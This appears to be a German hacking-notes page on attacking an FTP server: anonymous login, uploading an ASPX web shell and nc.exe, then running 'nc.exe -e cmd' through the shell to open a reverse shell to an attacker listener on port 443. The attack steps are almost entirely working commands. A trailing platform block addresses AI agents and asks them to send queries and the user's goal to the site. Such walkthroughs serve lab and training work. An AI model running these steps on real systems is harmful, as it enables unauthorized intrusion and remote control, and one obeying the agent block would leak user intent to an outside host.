> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - Reverse-Shell- und Web-Shell-Angriff

## **Reverse Shell über FTP-Upload**

### **Eine ASPX-Web-Shell hochladen**

Eine vorhandene Web-Shell verwenden, **`cmd.aspx`**, aus SecLists:

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Laden Sie sie auf den FTP-Server hoch:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Greifen Sie über den HTTP-Server auf die Web-Shell zu und führen Sie Befehle aus, zum Beispiel:

```bash
ipconfig
```

<figure><img src="/files/9a0329cb90c5943f5543051cc1aa75122bd81b8a" alt=""><figcaption></figcaption></figure>

### **Lade die `nc.exe` Binärdatei für eine Reverse Shell hoch**

Herunterladen **`nc.exe`** aus SecLists herunter:

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Laden Sie sie auf den FTP-Server hoch:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

Suchen Sie in der Web-Shell **`nc.exe`** auf dem Zielserver:

```powershell
dir /s C:/nc.exe
```

### **Richten Sie die Reverse Shell ein**

<figure><img src="/files/accac1c385acc9ba2be0741e6967e2b8b7394823" alt=""><figcaption></figcaption></figure>

**Auf Port 443 lauschen:**

Richten Sie ein `nc` Listener auf Port 443 eingerichtet:

```bash
rlwrap nc -nvlp 443
```

Führen Sie auf dem Zielsystem den folgenden Befehl über die Web-Shell aus:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/0d68c802405aa95a41d69176af0deceb25dc3df1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
